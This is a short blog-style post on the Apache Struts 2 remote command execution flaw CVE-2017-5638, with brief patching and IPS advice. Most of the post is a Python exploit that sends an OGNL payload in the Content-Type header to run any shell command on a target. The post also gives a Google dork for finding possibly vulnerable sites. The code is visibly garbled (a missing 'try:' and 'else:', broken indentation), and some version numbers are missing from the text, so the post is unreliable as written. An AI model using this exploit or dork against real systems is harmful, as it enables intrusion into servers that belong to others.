Apache Struts 2 (CVE-2017-5638)

On 3/6/2017 a vulnerability was found in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before Essentially it mishandles the upload from the parser and could allow remote attackers to execute commands from the command string. This includes, of course, initiating a shell. More on the CVE itself can be found here https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638.

It is easy enough to find sites that are vulnerable to this attack with some simple Google dorking. Searching for “inurl:struts filetype:action” will return sites that are possibly susceptible. Try not to be on this list. 🙂

Metasploit and python scripts to exploit the vulnerability are out and the python code can be found below. A simple solution to fixing this vulnerabilityis to upgrade to Apache Struts version 2.3.32 for the 2.3 versions or for the 2.5.

Also take note that if you are running Deep Security from Trend Micro an IPS rule was made available the same day of the vulnerability being announced that protects against this attack. If you are running Deep Security and want to check that this rule has been applied you can select the system you are concerned with and within the IPS module search for the CVE-2017-5638 and make sure the corresponding rule(s) are applied and your IPS module is in “Prevent” mode.

Below is the python code for performing the exploit.

# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
    return page
if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

Remember to keep your systems up to date!